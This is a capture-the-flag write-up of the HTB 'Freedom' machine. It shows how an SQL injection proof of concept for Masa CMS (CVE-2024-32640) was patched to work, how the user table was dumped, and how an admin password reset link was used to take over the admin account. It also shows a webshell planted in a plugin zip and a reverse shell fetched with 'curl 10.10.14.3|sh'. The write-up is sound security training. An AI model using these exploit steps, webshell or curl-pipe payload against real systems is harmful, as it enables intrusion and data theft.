HTB University CTF 2024 - Freedom (full-pwn)
This year my university and I took on the Hack the Box University CTF 2024 again. I had less time than previous year but still we managed to get in the top 40 with only about 4 active students :P. I solved the Freedom full-pwn which was the hardest rated of the three full-pwn challenges. I solved it using an unintentional path. However, I still learned a few cool things during this path which is the reason for this write-up.
Scanning and recon
Since it is a full pwn challenge we only have the IP of the machine. We will use Nmap to scan the IP for running services.
1 | # Nmap 7.94SVN scan initiated Tue Dec 17 15:06:23 2024 as: nmap -sCV -T4 --min-rate 10000 -v -oA nmap/tcp_default 10.129.194.204 |
Nmap shows that the target is a domain controller with the domain freedom.htb. It has the default ports open like SMB, LDAP and Kerberos. However, there’s also a webserver running on port 80 which contains a robots.txt:
1 | User-agent: * |
Foothold Masa CMS
Entering http://foothold.htb/admin shows that Masa CMS is running:
The default credentials admin/admin
do not work to login. Let’s see what vulnerabilities are out there.
It seems that there is a recent SQL injection vulnerability, CVE-2024-32640 with a public proof of concept on github.
We are not sure which version of Masa CMS is running here, but we can still try to exploit the vulnerability.
1 | python3 CVE-2024-32640.py -u http://freedom.htb |
The PoC says it’s not vulnerable. I’ll be honest, I accepted the fact that the script told me that it wasn’t vulnerable since we don’t know which version is running. Then I came across another vulnerability, which is an authentication bypass from 2022 (CVE-2022-47002).
Authentication bypass vulnerability
There is a public Nuclei template which checks the following:
1 | http: |
The authentication bypass is a logical flaw in the remember me function. If the userhash cookie is specified with an empty value and a valid userid, the authentication will be bypassed. Getting a valid userid is not a big problem since the API has a public endpoint which contains one:
1 | http://freedom.htb/index.cfm/_api/json/v1/default/content/?fields=lastupdatebyid |
This shows the UID lastupdatebyid "75296552-E0A8-4539-B1A46C806D767072"
We sent the following request to /admin/?muraAction=cEditProfile.edit
:
1 | GET /admin/?muraAction=cEditProfile.edit |
The server responds with a redirect to the login page..
1 | 302 |
Too bad.. this also was not the vulnerability.
Patching the PoC for CVE-2024-32640
From the CVE-2022-47002 PoC we see that in order to get the valid UID the path begins with /index.cfm/_api/
. However, the PoC for SQLI does not contain /index.cfm/
:
1 | endpoint = "/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x" |
Let’s add the right path and run it again:
1 | endpoint = "/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x" |
Now the exploit works and we can get SQLI. Some things that we are looking for in the database are passwords (hashes) and sensitive info. The tables containing the users is tusers
, which we can dump in the following way:
1 | python3 CVE-2024-32640.py -u http://freedom.htb -g "-DdbMasaCMS" "-Ttusers" "-Cusername,password" "--dump" |
We copy the contents to hashes.txt and crack the bcrypt hashes using hashcat.
1 | hashcat hashes.txt /usr/share/wordlists/rockyou.txt -m 3200 |
Hashcat was not able to crack any hashes.
Reset password and redirect link
There is a table in Masa CMS that contains redirect links. I came across this by accident, but if we reset the password for admin@freedom.htb and check this table, it generates the following link:
1 | python3 CVE-2024-32640.py -u http://freedom.htb -g "-DdbMasaCMS" "-Ttredirects" "-Curl" "--dump" |
If we enter the URL in the browser, we are logged in as admin:
Initial access with CFM files
The following blog describes the SQL injection vulnerability in detail: https://projectdiscovery.io/blog/hacking-apple-with-sql-injection. The interesting thing about this blog is that they also manage a few steps to get RCE:
1 | 1. Reset an Admin user's password. |
We already did the first 3 steps. But they say in order to get RCE we have to utilize the plugin installation functionality to upload a CFM file. So let’s go ahead and try to upload a malicious .cfm file:
I found this CFM webshell: https://github.com/xl7dev/WebShell/blob/master/Cfm/cfexec.cfm, which uses <cfexecute>
to execute a system command. But if we upload the CFM file, the application complains about the file type:
Modifying existing Masa CMS plugin with backdoor
Another option is to upload a .zip file which contain the .CFM files, which is allowed. I found this Masa CMS plugin for Google Maps: https://github.com/MasaCMS/MasaGoogleSitemaps. I cloned the repo and replaced the contents of /plugin/default.cfm
with the webshells content.
Now I zipped the files:
1 | zip rce.zip -r MasaGoogleSitemaps |
And uploaded the plugin:
This resulted in the following error:
However, after entering update
once again in the edit tab of the plugins without any modifications, everything was fine. Now to get to the webshell, we need to enter the following URL:
1 | http://freedom.htb/plugins/MasaGoogleSitemaps/index.cfm |
The form is there! Let’s try whoami
as command since it is a Windows Domain Controller:
It worked! But wait.. the username is root?!
Getting a shell
Let’s see what is going on here by getting a shell. Most of the time I generate a .html file containing all kinds of shells which I host on a Python webserver. I use a payload with curl that pipes to sh or bash. I use pwncat
to catch the shell and stabilize it.
The payload is:
1 | bash -c 'curl 10.10.14.3|sh' |
Okay, we are really root.
Getting user and root
Once I saw that the C
drive was mounted I knew this was a unintentional solve since it gives us access to the whole file system including the flags. But hey, who cares, 1975 points more :P